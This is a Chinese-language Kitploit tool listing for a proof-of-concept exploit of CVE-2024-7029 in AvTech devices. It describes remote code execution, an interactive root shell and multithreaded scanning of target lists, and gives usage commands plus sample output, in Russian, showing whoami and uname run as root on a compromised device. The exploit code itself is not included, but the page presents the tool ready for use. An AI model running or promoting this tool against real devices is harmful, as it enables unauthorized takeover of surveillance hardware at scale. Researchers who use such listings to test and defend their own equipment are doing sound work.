CVE-2024-7029 — CVE-2024-7029 在 AvTech 设备中的 PoC 漏洞利用。扫描易受攻击的目标，并提供交互式远程 Shell 以执行命令，支持多线程扫描。 | Kitploit

分享

EN

GenAvTechRCEExploit 一种针对 AvTech 设备中 CVE-2024-7029 漏洞的概念验证漏洞利用工具，允许远程代码执行（RCE）。该工具可以扫描易受攻击的设备并与之交互执行命令。

功能

漏洞检测：检查 AvTech 设备是否存在 RCE 漏洞。
交互式 Shell：通过交互式 Shell 在目标设备上执行命令。
多线程扫描：使用多线程同时扫描多个目标。
有效载荷执行：通过发送精心构造的有效载荷远程执行命令来攻击目标。

要求

Python 3.7+
requests 库
prompt_toolkit 库
alive_progress 库

使用以下命令安装所需库：

pip install -r requirements.txt

使用方法

扫描单个目标

要检查单个目标是否存在漏洞并启动交互式 Shell：

python3 GenAvTechRCEExploit.py -u <target_url>

$ python3 GenAvTechRCEExploit.py -u http://192.168.1.100

[*] Выполняется проверка уязвимости цели...
[+] Обнаружена уязвимость на цели: http://192.168.1.100
[*] Запуск интерактивной оболочки...
Shell> whoami
root
Shell> uname -a
Linux avtech-device 4.15.0-45-generic #48-Ubuntu SMP Fri Jan 18 08:54:43 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Shell> exit
[*] Завершение интерактивной оболочки

$ python3 GenAvTechRCEExploit.py -f targets.txt

Scanning Targets |████████████████████████████████████████| 100% 
[+] Обнаружена уязвимость на цели: http://192.168.1.50
[+] Обнаружена уязвимость на цели: http://192.168.1.150
[-] Цель http://192.168.1.200 не уязвима